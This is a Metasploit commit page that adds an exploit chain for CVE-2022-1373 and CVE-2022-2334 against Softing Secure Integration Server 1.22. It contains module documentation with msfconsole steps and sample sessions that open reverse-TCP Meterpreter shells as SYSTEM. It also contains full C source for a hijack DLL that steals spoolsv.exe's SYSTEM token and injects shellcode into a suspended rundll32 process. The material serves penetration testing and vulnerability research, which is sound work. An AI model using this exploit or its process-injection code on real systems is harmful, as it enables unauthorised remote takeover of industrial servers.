Skip to content

Commit 636c729

Browse files
committed
Land rapid7#19084, Add CVE-2022-1373 and CVE-2022-2334 exploit chain
Merge branch 'land-19084' into upstream-master
2 parents ea868b1 + 1881d4e commit 636c729

File tree

7 files changed

+2070
-0
lines changed

7 files changed

+2070
-0
lines changed
Binary file not shown.
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
## Description
2+
3+
This module chains 2 vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.
4+
5+
This was demonstrated by Steven Seeley and Chris Anastasio of Incite Team as part of Pwn2Own Miami 2022.
6+
7+
In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll. This causes the file C:\\Windows\\System32\\wbem\\wbemcomn.dll to be created and executed upon touching the disk.
8+
9+
In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.
10+
11+
The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication. When using asignature, any provided password is ignored. To use passwords again, `unset SIGNATURE`.
12+
13+
A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. The DLL must be compiled with the correct exports, which can be found in "external/source/exploits/CVE-2022-2334/template.def". It is assumed that the operator has compiled the DLL correctly for the exploit, if a custom DLL is specified.
14+
15+
## Vulnerable Application
16+
17+
This module was tested against version 1.22, installed on Windows Server 2019 Standard x64. Older versions of the vulnerable application are no longer available for download.
18+
19+
## Verification Steps
20+
Example steps in this format (is also in the PR):
21+
22+
1. Start `msfconsole`
23+
2. Do: `use exploit/windows/http/softing_sis_rce`
24+
3. Do: `set RHOSTS <target_ip>`
25+
4. Do: Optional: `set SSL true` if necessary
26+
5. Do: Optional: `set RPORT <target_port>` if SSL is set
27+
6. Do: `set USERNAME <username>` if necessary. Default is `admin`
28+
7. Do: `set PASSWORD <password>` if necessary. Default is `admin`
29+
8. Do: Optional: `set SIGNATURE <signature>` to use signature authentication. `PASSWORD` will be ignored if `SIGNATURE` is set!
30+
9. Do: Optional: `set DLLPATH <path_to_custom_dll>` to use a custom DLL. It is assumed that the DLL is correctly compiled by the operator for the exploit.
31+
10. Do: `exploit` and get a shell
32+
11. Do: Recommended: delete `C:\\Windows\\System32\\wbem\\wbemcomn.dll`
33+
34+
## Scenarios
35+
### Default options
36+
37+
```
38+
msf6 > use exploit/windows/http/softing_sis_rce
39+
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
40+
msf6 exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119
41+
RHOSTS => 192.168.50.119
42+
msf6 exploit(windows/http/softing_sis_rce) > exploit
43+
44+
[*] Started reverse TCP handler on 192.168.50.254:4444
45+
[*] 192.168.50.119:8099 - Found Softing Secure Integration Server 1.22.0.8686
46+
[+] 192.168.50.119:8099 - Valid credentials provided
47+
[*] Generating payload DLL...
48+
[*] Created /home/kali/.msf4/local/wbemcomn.dll
49+
[*] Saving configuration...
50+
[*] Saved configuration to /home/kali/.msf4/local/config_download_5fd1e0fd8cd04a22f38eb8db14df68ff.zip
51+
[*] Sending stage (201798 bytes) to 192.168.50.119
52+
[!] Deleting: C:\Windows\System32\wbem\wbemcomn.dll
53+
[-] Unable to delete - stdapi_fs_delete_file: Operation failed: Access is denied.
54+
[*] Meterpreter session 1 opened (192.168.50.254:4444 -> 192.168.50.119:50525) at 2024-04-11 19:52:35 +0800
55+
[!] This exploit may require manual cleanup of 'C:\Windows\System32\wbem\wbemcomn.dll' on the target
56+
57+
meterpreter > getuid
58+
Server username: NT AUTHORITY\SYSTEM
59+
meterpreter >
60+
```
61+
62+
### Using a signature
63+
```
64+
msf6 > use exploit/windows/http/softing_sis_rce
65+
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
66+
msf6 exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119
67+
RHOSTS => 192.168.50.119
68+
msf6 exploit(windows/http/softing_sis_rce) > set SIGNATURE f7f623f3d40764a03da6c3379919b964
69+
SIGNATURE => f7f623f3d40764a03da6c3379919b964
70+
msf6 exploit(windows/http/softing_sis_rce) > exploit
71+
72+
[*] Started reverse TCP handler on 192.168.50.254:4444
73+
[*] 192.168.50.119:8099 - Found Softing Secure Integration Server 1.22.0.8686
74+
[*] 192.168.50.119:8099 - Authenticating as user admin with signature f7f623f3d40764a03da6c3379919b964...
75+
[+] 192.168.50.119:8099 - Signature f7f623f3d40764a03da6c3379919b964 is valid for user admin
76+
[*] Generating payload DLL...
77+
[*] Created /home/kali/.msf4/local/wbemcomn.dll
78+
[*] 192.168.50.119:8099 - Saving configuration...
79+
[*] Saved configuration to /home/kali/.msf4/local/config_download_5fd1e0fd8cd04a22f38eb8db14df68ff.zip
80+
[*] Sending stage (201798 bytes) to 192.168.50.119
81+
[!] Deleting: C:\Windows\System32\wbem\wbemcomn.dll
82+
[-] Unable to delete - stdapi_fs_delete_file: Operation failed: Access is denied.
83+
[*] Meterpreter session 4 opened (192.168.50.254:4444 -> 192.168.50.119:50618) at 2024-04-11 20:00:11 +0800
84+
[!] This exploit may require manual cleanup of 'C:\Windows\System32\wbem\wbemcomn.dll' on the target
85+
86+
meterpreter > getuid
87+
Server username: NT AUTHORITY\SYSTEM
88+
meterpreter >
89+
```
90+
91+
### Using a custom DLL
92+
```
93+
msf6 > use exploit/windows/http/softing_sis_rce
94+
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
95+
msf6 exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119
96+
RHOSTS => 192.168.50.119
97+
msf6 exploit(windows/http/softing_sis_rce) > set DLLPATH /home/kali/Documents/softing/wbemcomn.dll
98+
DLLPATH => /home/kali/Documents/softing/wbemcomn.dll
99+
msf6 exploit(windows/http/softing_sis_rce) > exploit
100+
101+
[*] Started reverse TCP handler on 192.168.50.254:4444
102+
[*] 192.168.50.119:8099 - Found Softing Secure Integration Server 1.22.0.8686
103+
[+] 192.168.50.119:8099 - Valid credentials provided
104+
[*] 192.168.50.119:8099 - Saving configuration...
105+
[*] Saved configuration to /home/kali/.msf4/local/config_download_5fd1e0fd8cd04a22f38eb8db14df68ff.zip
106+
[*] Sending stage (201798 bytes) to 192.168.50.119
107+
[!] Deleting: C:\Windows\System32\wbem\wbemcomn.dll
108+
[-] Unable to delete - stdapi_fs_delete_file: Operation failed: Access is denied.
109+
[*] Meterpreter session 5 opened (192.168.50.254:4444 -> 192.168.50.119:50696) at 2024-04-11 20:03:43 +0800
110+
[!] This exploit may require manual cleanup of 'C:\Windows\System32\wbem\wbemcomn.dll' on the target
111+
112+
meterpreter > getuid
113+
Server username: NT AUTHORITY\SYSTEM
114+
meterpreter >
115+
```
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#!/bin/sh
2+
CCx64="x86_64-w64-mingw32"
3+
4+
${CCx64}-gcc -shared -o temp.dll template.def template.c
5+
${CCx64}-strip -s temp.dll -o ../../../../data/exploits/CVE-2022-2334/template_x64_windows.dll
6+
rm -f temp.dll *.o
7+
chmod -x ../../../../data/exploits/CVE-2022-2334/template_x64_windows.dll
Lines changed: 241 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,241 @@
1+
#include <windows.h>
2+
#include <sddl.h>
3+
#include <tchar.h>
4+
#include <tlhelp32.h>
5+
#include <userenv.h>
6+
7+
#include "template.h"
8+
9+
void ExecutePayload(HANDLE hDll);
10+
11+
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
12+
switch (dwReason) {
13+
case DLL_PROCESS_ATTACH:
14+
ExecutePayload(hDll);
15+
break;
16+
17+
case DLL_PROCESS_DETACH:
18+
break;
19+
20+
case DLL_THREAD_ATTACH:
21+
break;
22+
23+
case DLL_THREAD_DETACH:
24+
break;
25+
}
26+
return TRUE;
27+
}
28+
29+
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
30+
int result;
31+
32+
if (strlen(szStr) < strlen(szSuffix)) {
33+
return FALSE;
34+
}
35+
if (bCaseSensitive) {
36+
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
37+
}
38+
else {
39+
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
40+
}
41+
return result == 0;
42+
}
43+
44+
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
45+
HANDLE hToken;
46+
DWORD dwLength = 0;
47+
TOKEN_USER *tuUser = NULL;
48+
SIZE_T szSid = 0;
49+
50+
*pSid = NULL;
51+
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
52+
return FALSE;
53+
}
54+
55+
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
56+
tuUser = (TOKEN_USER *)malloc(dwLength);
57+
if (!tuUser) {
58+
return FALSE;
59+
}
60+
61+
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
62+
free(tuUser);
63+
return FALSE;
64+
}
65+
66+
szSid = GetLengthSid(tuUser->User.Sid);
67+
*pSid = LocalAlloc(LPTR, szSid);
68+
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
69+
LocalFree(*pSid);
70+
*pSid = NULL;
71+
}
72+
73+
free(tuUser);
74+
CloseHandle(hToken);
75+
return *pSid != NULL;
76+
}
77+
78+
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
79+
PSID pTestSid = NULL;
80+
PSID pTargetSid = NULL;
81+
82+
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
83+
return FALSE;
84+
}
85+
86+
if (!GetProcessSid(hProc, &pTestSid)) {
87+
LocalFree(pTargetSid);
88+
return FALSE;
89+
}
90+
91+
*pbResult = EqualSid(pTestSid, pTargetSid);
92+
LocalFree(pTargetSid);
93+
LocalFree(pTestSid);
94+
return TRUE;
95+
}
96+
97+
DWORD FindProcessId(LPCTSTR szProcessName) {
98+
HANDLE hProcessSnap;
99+
PROCESSENTRY32 pe32;
100+
DWORD result = 0;
101+
102+
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
103+
if (hProcessSnap == INVALID_HANDLE_VALUE) {
104+
return 0;
105+
}
106+
107+
pe32.dwSize = sizeof(PROCESSENTRY32);
108+
if (!Process32First(hProcessSnap, &pe32)) {
109+
CloseHandle(hProcessSnap);
110+
return 0;
111+
}
112+
113+
do {
114+
if (!strcmp(szProcessName, pe32.szExeFile)) {
115+
result = pe32.th32ProcessID;
116+
break;
117+
}
118+
} while (Process32Next(hProcessSnap, &pe32));
119+
CloseHandle(hProcessSnap);
120+
return result;
121+
}
122+
123+
HANDLE GetPayloadToken(void) {
124+
HANDLE hTokenHandle = NULL;
125+
HANDLE hProcessHandle = NULL;
126+
BOOL bIsSystem = FALSE;
127+
DWORD dwPid = 0;
128+
CHAR Path[MAX_PATH + 1];
129+
130+
ZeroMemory(Path, sizeof(Path));
131+
GetModuleFileNameA(NULL, Path, MAX_PATH);
132+
if (!StringEndsWithStringA(Path, "\\dataFEEDSISsvc.exe", TRUE)) {
133+
return NULL;
134+
}
135+
/* loaded into the context of dataFEEDSISsvc.exe */
136+
137+
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
138+
return NULL;
139+
}
140+
/* and running as NT_AUTHORITY SYSTEM */
141+
142+
dwPid = FindProcessId("spoolsv.exe");
143+
if (!dwPid) {
144+
return NULL;
145+
}
146+
147+
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
148+
if (!hProcessHandle) {
149+
return NULL;
150+
}
151+
152+
bIsSystem = FALSE;
153+
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
154+
return NULL;
155+
}
156+
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
157+
158+
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
159+
CloseHandle(hProcessHandle);
160+
return hTokenHandle;
161+
}
162+
163+
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
164+
/* wait for the process to exit or 10 seconds before cleaning up */
165+
WaitForSingleObject(pExploitData->hProcess, 10000);
166+
CloseHandle(pExploitData->hProcess);
167+
CloseHandle(pExploitData->hMutex);
168+
169+
/* this does not return */
170+
FreeLibraryAndExitThread(pExploitData->hModule, 0);
171+
return 0;
172+
}
173+
174+
void ExecutePayload(HANDLE hDll) {
175+
PROCESS_INFORMATION pi;
176+
STARTUPINFO si;
177+
CONTEXT ctx;
178+
LPVOID ep;
179+
SECURITY_ATTRIBUTES MutexAttributes;
180+
SIZE_T dwBytesWritten = 0;
181+
PEXPLOIT_DATA pExploitData = NULL;
182+
HANDLE hToken;
183+
184+
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
185+
if (!pExploitData) {
186+
return;
187+
}
188+
189+
/* keep a reference to the module for synchronization purposes */
190+
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
191+
192+
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
193+
MutexAttributes.nLength = sizeof(MutexAttributes);
194+
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
195+
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
196+
if (!pExploitData->hMutex) {
197+
return;
198+
}
199+
200+
if (GetLastError() == ERROR_ALREADY_EXISTS) {
201+
CloseHandle(pExploitData->hMutex);
202+
return;
203+
}
204+
205+
if (GetLastError() == ERROR_ACCESS_DENIED) {
206+
CloseHandle(pExploitData->hMutex);
207+
return;
208+
}
209+
210+
hToken = GetPayloadToken();
211+
212+
ZeroMemory(&si, sizeof(si));
213+
si.cb = sizeof(si);
214+
215+
/* start up the payload in a new process */
216+
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
217+
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
218+
GetThreadContext(pi.hThread, &ctx);
219+
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
220+
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
221+
if (dwBytesWritten == SCSIZE) {
222+
223+
#ifdef _WIN64
224+
ctx.Rip = (DWORD64)ep;
225+
#else
226+
ctx.Eip = (DWORD)ep;
227+
#endif
228+
229+
SetThreadContext(pi.hThread, &ctx);
230+
ResumeThread(pi.hThread);
231+
232+
CloseHandle(pi.hThread);
233+
pExploitData->hProcess = pi.hProcess;
234+
}
235+
}
236+
237+
if (hToken) {
238+
CloseHandle(hToken);
239+
}
240+
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
241+
}

0 commit comments

Comments
 (0)